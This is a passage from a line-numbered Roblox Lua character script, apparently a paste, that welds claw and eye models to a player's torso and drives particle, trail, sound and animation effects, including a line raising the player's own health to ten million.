  2935. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2936. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2937. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2938. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2939. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2940. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2941. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2942. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2943.  
  2944. local modelzorzz2=Instance.new("Model")
  2945. modelzorzz2.Parent=Character
  2946. modelzorzz2.Name="Claw2"
  2947.  
  2948. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2949. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2950. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2951. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2952. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2953. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2954. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2955. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2956. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2957. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2958. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2959. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2960. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2961. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2962. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2963. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2964. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2965. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2966. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2967. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2968. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2969. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2970. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2971. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2972. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2973. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2974. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2975. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2976. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2977. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2978. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2979. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2980. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2981. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2982. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2983. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2984. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2985. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2986. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2987. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
  2988. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2989.  
  2990. local modelzorzz3=Instance.new("Model")
  2991. modelzorzz3.Parent=Character
  2992. modelzorzz3.Name="Eye"
  2993.  
  2994. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2995. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2996. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2997. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2998. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2999. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  3000. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3001. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3002. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  3003. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(3.79999995, 4, 1.39999998))
  3004. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3005. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  3006. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  3007. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3008. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  3009. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3010. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  3011. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3012. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3013. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3014. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  3015. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3016. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  3017.  
  3018. p = game.Players.LocalPlayer
  3019. char = p.Character
  3020. torso = char.Torso
  3021. neck = char.Torso.Neck
  3022. hum = char.Humanoid
  3023. hum.MaxHealth = 10000000
  3024. wait()
  3025. hum.Health =hum.MaxHealth
  3026.  
  3027. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3028. particleemitter.VelocitySpread = 180
  3029. particleemitter.Lifetime = NumberRange.new(0.1)
  3030. particleemitter.Speed = NumberRange.new(2)
  3031. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3032. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3033. particleemitter.Rate = 100
  3034. particleemitter.Rotation = NumberRange.new(-45, 45)
  3035. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3036. particleemitter.LightEmission = 0.8
  3037. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3038.  
  3039. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3040. particleemitter.VelocitySpread = 180
  3041. particleemitter.Lifetime = NumberRange.new(0.1)
  3042. particleemitter.Speed = NumberRange.new(2)
  3043. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3044. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3045. particleemitter.Rate = 100
  3046. particleemitter.Rotation = NumberRange.new(-45, 45)
  3047. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3048. particleemitter.LightEmission = 0.8
  3049. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3050.  
  3051. local particleemitter = Instance.new("ParticleEmitter", handle)
  3052. particleemitter.VelocitySpread = 180
  3053. particleemitter.Lifetime = NumberRange.new(0.1)
  3054. particleemitter.Speed = NumberRange.new(2)
  3055. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3056. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3057. particleemitter.Rate = 100
  3058. particleemitter.Rotation = NumberRange.new(-45, 45)
  3059. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3060. particleemitter.LightEmission = 0.8
  3061. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3062.  
  3063. particleemitter.Enabled = true
  3064. MagicCircle(BrickColor.new("White"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3065. MagicCircle(BrickColor.new("White"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3066. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3067. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3068. for i=0,1,0.005 do
  3069. swait()
  3070. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3071. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3072. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3073. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3074. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3075. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3076. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3077. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3078. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3079. end
  3080. for i=0,1,0.04 do
  3081. swait()
  3082. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3083. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3084. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3085. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3086. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3087. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3088. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3089. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3090. end
  3091. attack = false
  3092. end
  3093. end
  3094. end)
  3095.  
  3096. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3097. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3098. prt.Anchored=true
  3099. prt.CFrame=cframe
  3100. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3101. game:GetService("Debris"):AddItem(prt,2)
  3102. coroutine.resume(coroutine.create(function(Part,Mesh)
  3103. for i=0,1,delay do
  3104. wait()
  3105. Part.CFrame=Part.CFrame
  3106. Part.Transparency=i
  3107. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3108. end
  3109. Part.Parent=nil
  3110. end),prt,msh)
  3111. end
  3112.  
  3113. TrailDeb = false
  3114.  
  3115. function equipanim()
  3116. attack=true
  3117. Humanoid.WalkSpeed = 0
  3118. if TrailDeb == false then
  3119. TrailDeb = true
  3120. end
  3121.  
  3122.  
  3123. coroutine.wrap(function()
  3124. local Old = handle.CFrame.p
  3125. while wait()do
  3126. if not TrailDeb then break end
  3127. local New = handle.CFrame.p
  3128. local Mag =(Old -New).magnitude
  3129. local Dis =(Old +New)/2
  3130. local Trail = Instance.new("Part",Character)
  3131. Trail.Material = "Neon"
  3132. Trail.Anchored = true
  3133. Trail.CanCollide = false
  3134. Trail.BrickColor = TorsoColor
  3135. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3136. Trail.TopSurface = 0
  3137. Trail.BottomSurface = 0
  3138. Trail.formFactor = "Custom"
  3139. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3140. local ms = Instance.new("BlockMesh",Trail)
  3141. ms.Scale = Vector3.new(1,1,1)
  3142. local TM = Instance.new("CylinderMesh",Trail)
  3143. TM.Scale = Vector3.new(1,1,1)
  3144. Old = New
  3145. coroutine.wrap(function()
  3146. for i = 1,0,-0.1 do
  3147. wait()
  3148. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3149. end
  3150. Trail:remove()
  3151. end)()
  3152. coroutine.wrap(function()
  3153. for i = 1,10 do
  3154. wait()
  3155. Trail.Transparency = Trail.Transparency +0.1
  3156. end end)()end end)()
  3157. coroutine.wrap(function()
  3158. local Old = Handle.CFrame.p
  3159. while wait()do
  3160. if not TrailDeb then break end
  3161. local New = Handle.CFrame.p
  3162. local Mag =(Old -New).magnitude
  3163. local Dis =(Old +New)/2
  3164. local Trail = Instance.new("Part",Character)
  3165. Trail.Material = "Neon"
  3166. Trail.Anchored = true
  3167. Trail.CanCollide = false
  3168. Trail.BrickColor = TorsoColor
  3169. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3170. Trail.TopSurface = 0
  3171. Trail.BottomSurface = 0
  3172. Trail.formFactor = "Custom"
  3173. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3174. local ms = Instance.new("BlockMesh",Trail)
  3175. ms.Scale = Vector3.new(1,1,1)
  3176. local TM = Instance.new("CylinderMesh",Trail)
  3177. TM.Scale = Vector3.new(1,1,1)
  3178. Old = New
  3179. coroutine.wrap(function()
  3180. for i = 1,0,-0.1 do
  3181. wait()
  3182. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3183. end
  3184. Trail:remove()
  3185. end)()
  3186. coroutine.wrap(function()
  3187. for i = 1,10 do
  3188. wait()
  3189. Trail.Transparency = Trail.Transparency +0.1
  3190. end end)()end end)()
  3191. coroutine.wrap(function()
  3192. local Old = Handle2.CFrame.p
  3193. while wait()do
  3194. if not TrailDeb then break end
  3195. local New = Handle2.CFrame.p
  3196. local Mag =(Old -New).magnitude
  3197. local Dis =(Old +New)/2
  3198. local Trail = Instance.new("Part",Character)
  3199. Trail.Material = "Neon"
  3200. Trail.Anchored = true
  3201. Trail.CanCollide = false
  3202. Trail.BrickColor = TorsoColor
  3203. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3204. Trail.TopSurface = 0
  3205. Trail.BottomSurface = 0
  3206. Trail.formFactor = "Custom"
  3207. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3208. local ms = Instance.new("BlockMesh",Trail)
  3209. ms.Scale = Vector3.new(1,1,1)
  3210. local TM = Instance.new("CylinderMesh",Trail)
  3211. TM.Scale = Vector3.new(1,1,1)
  3212. Old = New
  3213. coroutine.wrap(function()
  3214. for i = 1,0,-0.1 do
  3215. wait()
  3216. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3217. end
  3218. Trail:remove()
  3219. end)()
  3220. coroutine.wrap(function()
  3221. for i = 1,10 do
  3222. wait()
  3223. Trail.Transparency = Trail.Transparency +0.1
  3224. end end)()end end)()
  3225. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3226. for i=0,1,0.005 do
  3227. swait()
  3228. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3229. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3230. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3231. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3232. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3233. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3234. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3235. end
  3236. for i=0,1,0.005 do
  3237. swait()
  3238. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3239. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3240. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3241. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3242. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3243. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3244. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3245. end
  3246. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3247. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3248. for i=0,1,0.005 do
  3249. swait()
  3250. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3251. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3252. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3253. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3254. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3255. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3256. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3257. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3258. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3259. end
  3260. for i=0,1,0.04 do
